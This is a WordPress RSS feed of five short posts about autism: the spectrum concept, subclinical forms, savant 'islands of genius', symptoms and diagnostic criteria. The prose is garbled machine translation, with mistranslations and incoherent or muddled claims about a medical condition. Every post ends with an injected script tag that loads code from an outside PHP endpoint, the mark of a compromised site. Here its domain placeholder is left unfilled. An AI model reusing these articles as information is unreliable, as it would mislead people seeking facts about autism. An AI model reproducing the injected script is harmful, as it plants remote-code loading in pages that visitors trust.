<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Neurology Diagnostics &#187; autism spectrum</title>
	<atom:link href="http://www.neurodiagnosticdevices.com/tag/autism-spectrum/feed" rel="self" type="application/rss+xml" />
	<link>http://www.neurodiagnosticdevices.com</link>
	<description>Discovering The Latest Update in Neurology Diagnostics</description>
	<lastBuildDate>Sun, 29 Jan 2012 11:45:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Autism Spectrum</title>
		<link>http://www.neurodiagnosticdevices.com/autism-spectrum.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/autism-spectrum.htm#comments</comments>
		<pubDate>Wed, 23 Jun 2010 17:11:15 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[Allen autistic disabilities]]></category>
		<category><![CDATA[autis]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[term "autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=108</guid>
		<description><![CDATA[In addition to categorizing subdivisions of autism in several, are clearly delimited from each species are the Autism spectrum or autism spectrum disorder (ASD). This is a concept of a smooth transition between the different forms, one in particular in the growing English-speaking point of view of such a continuum of different forms. Represented approximately [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">In addition to categorizing <a href="http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm"><em><strong>subdivisions of autism</strong></em></a> in several, are clearly delimited from each species are the</p>
<ul>
<li style="text-align: justify;"> <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>Autism spectrum </strong></em></a>or autism spectrum disorder (ASD). This is a concept of a smooth transition between the different forms, one in particular in the growing English-speaking point of view of such a continuum of different forms. Represented approximately by Tony Attwood, who justified his view with the possibility of transitions in individual cases. For example there are autistic people that meet the diagnostic criteria of <a href="http://www.neurodiagnosticdevices.com/at-7-months-infants-and-distinguish-emotions-through-voice.htm"><em><strong>Asperger&#8217;s syndrome</strong></em></a>, the abnormalities in early childhood, however, corresponded to the diagnosis of Kanner&#8217;s syndrome. Moreover, it is doubtful whether one based on theoretical models of intelligence IQ measurement or an arbitrary maximum age limit for the language used for the distinction.</li>
</ul>
<p style="text-align: justify;">Published a study by a significant proportion of ICD-10 were diagnosed with <a href="http://www.neurodiagnosticdevices.com/tag/autism-spectrum"><em><strong>infantile autism</strong></em></a> or atypical autism diagnosed according to people with Asperger Gillberg diagnostic criteria.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/autism-spectrum.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subclinical Forms of Autism</title>
		<link>http://www.neurodiagnosticdevices.com/subclinical-forms-of-autism.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/subclinical-forms-of-autism.htm#comments</comments>
		<pubDate>Mon, 21 Jun 2010 17:04:55 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[clinical autism spectrum]]></category>
		<category><![CDATA[High Functioning Autism]]></category>
		<category><![CDATA[Subclinical Forms of Autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=105</guid>
		<description><![CDATA[A clinical autism spectrum diagnosis by doctors or psychologists usually placed under the condition that a person suffers in several areas of life. A person may well be autistic, but because of their situation in life, talent and / or support of education, training, employers, friends, partners or other forms of support to cope well [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="autism" src="http://www.sf.tv/webtool/data/pics/pulsmerk/web-autismus-2_2.jpg" alt="" width="168" height="179" /></p>
<ul style="text-align: justify;">
<li> A <a href="http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm"><em><strong>clinical autism spectrum</strong></em></a> diagnosis by doctors or psychologists usually placed under the condition that a person suffers in several areas of life. A person may well be autistic, but because of their situation in life, talent and / or support of education, training, employers, friends, partners or other forms of support to cope well enough to get no clinical diagnosis. In this case, such a person may receive a diagnosis, if, after a possible loss of aid leads to an anomaly, so that doctors and therapists can justify a clinical diagnosis.</li>
<li> The question of whether it is in autism or autism spectrum disorders a category or a dimension is unclear. There is literature on <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>subclinical forms of autism</strong></em></a>, a chapter about &#8220;Autistic Echos&#8221; in the book &#8220;The shadow syndrome: Neurobiology and mild forms of mental disorders&#8221;. In research, the concept of a &#8216;Broad Autism Phenotypes examines&#8217;, such as autistic traits from parents of autistic children.</li>
<li> Some other official (ICD-10/DSM-IV) and unofficial (not in ICD-10/DSM-IV) diagnoses are examined in relation to autism, such as Hyperlexia, nonverbal learning disability, dyspraxia, sensory integration disorder or linguistic-pragmatic disorder . The issue of these as a separate diagnosis, or rather as part of a broader <a href="http://www.neurodiagnosticdevices.com/tag/autism"><em><strong>autism spectrum</strong></em></a> may be seen is unclear.</li>
</ul>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/subclinical-forms-of-autism.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Island of Genius</title>
		<link>http://www.neurodiagnosticdevices.com/island-of-genius.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/island-of-genius.htm#comments</comments>
		<pubDate>Tue, 08 Jun 2010 16:32:28 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autis]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[Autism Symptoms & Complaints]]></category>
		<category><![CDATA[island of genius]]></category>
		<category><![CDATA[symptoms of autistic disabilities.]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=93</guid>
		<description><![CDATA[The interests of autistic people are usually limited to certain areas, but have some of them drawing on the area of their special interest extraordinary abilities, such as in mental arithmetic, in music or in the memory. This is called an &#8220;island of genius&#8221;; those who have are called savants. 50 percent of known Inselbegabten [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">
<p style="text-align: justify;"><img class="aligncenter" title="autism" src="http://www.autismus-kaernten.at/Foto_Marcel01%20klein.jpg" alt="" width="224" height="220" /></p>
<p style="text-align: justify;">The interests of autistic people are usually limited to certain areas, but have some of them drawing on the area of their special interest extraordinary abilities, such as in mental arithmetic, in music or in the memory. This is called an <a href="http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm"><em><strong>&#8220;island of genius&#8221;</strong></em></a>; those who have are called savants. 50 percent of known Inselbegabten are <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>autistic.</strong></em></a> You can not possibly wear alone, but may complete telephone books and encyclopedias to learn by heart, like Kim Peek, since the film &#8220;Rain Man&#8221; the best known of the Savants (<a href="http://www.neurodiagnosticdevices.com/tag/autism-spectrum"><em><strong>but not autistic</strong></em></a>).</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/island-of-genius.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Autism Symptoms &amp; Complaints</title>
		<link>http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm#comments</comments>
		<pubDate>Sat, 05 Jun 2010 16:29:34 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[Allen autistic disabilities]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[Autism Symptoms & Complaints]]></category>
		<category><![CDATA[autistic spectrum disorders]]></category>
		<category><![CDATA[symptoms of autistic disabilities.]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=90</guid>
		<description><![CDATA[A small boy with autism and the exact line of toys, which he filed together. The symptoms and the individual forms of autism are varied, they misjudged by mild behavioral problems at the border of the low profile (such as &#8220;timidity&#8221;) to severe mental retardation range. Allen autistic disabilities are impairments in social behavior in [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">A small boy with<a href="http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm"><em><strong> autism</strong></em></a> and the exact line of toys, which he filed together. The symptoms and the individual forms of autism are varied, they misjudged by mild behavioral problems at the border of the low profile (such as &#8220;timidity&#8221;) to severe mental retardation range.</p>
<p style="text-align: justify;"><a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>Allen autistic disabilities </strong></em></a>are impairments in social behavior in common: difficulty in speaking with others (for example due to monotonous prosody), been said to be interpreted correctly, use facial expressions and body language and understand.</p>
<p style="text-align: justify;">Core symptoms associated with autistic disabilities is primarily the difficulty of communicating with other people (first and second diagnostic criterion). Alternatively, stereotyped or ritualization practices (third diagnostic criterion) explores all the core<a href="http://www.neurodiagnosticdevices.com/identify-areas-of-the-brain.htm"><em><strong> symptoms of autistic disabilities.</strong></em></a> Autistic people show fundamental differences from non-autistic people in the processing of sensory impressions and the way the discernment and intelligence. The differences in perception is explored as a core<a href="http://www.neurodiagnosticdevices.com/"><em><strong> symptoms of autism.</strong></em></a></p>
<p style="text-align: justify;">
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Diagnostic Criteria of Autism</title>
		<link>http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm#comments</comments>
		<pubDate>Wed, 02 Jun 2010 16:01:27 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[Diagnostic Criteria of Autism]]></category>
		<category><![CDATA[infantile autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=87</guid>
		<description><![CDATA[Autism (from Gr αὐτός &#8220;itself) is classified by the World Health Organization as a pervasive developmental disorder, is by doctors, researchers, families and autistic self-described as a congenital, incurable perception and information processing disorder of the brain that are already in early childhood noticeable. Other researchers  and autistic people describe autism as a different mode [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://www.neurodiagnosticdevices.com/the-mirror-neurons-of-well-functioning-autism.htm"><em><strong>Autism</strong></em></a> (from Gr αὐτός &#8220;itself) is classified by the World Health Organization as a pervasive developmental disorder, is by doctors, researchers, families and autistic self-described as a congenital, incurable perception and information processing disorder of the brain that are already in early childhood noticeable. Other researchers  and autistic people describe autism as a different mode of information congenital, which is indicated by weakness in social interaction and communication, and by stereotyped behavior patterns and strengths in perception, attention, memory and intelligence.</p>
<p style="text-align: justify;"><img class="aligncenter" title="utism" src="http://www.wdr.de/tv/quarks/_quiz/autismus_01.gif" alt="" width="161" height="215" /></p>
<p style="text-align: justify;">In the current diagnostic criteria, it is a distinction between <a href="http://www.neurodiagnosticdevices.com/identify-areas-of-the-brain.htm"><em><strong>infantile autism</strong></em></a> (Kanner syndrome) and Asperger&#8217;s syndrome, which often becomes apparent only after the third year of life. Many doctors believe, however, has become an <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>autism spectrum</strong></em></a> (autism spectrum disorder), the different severity knows.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

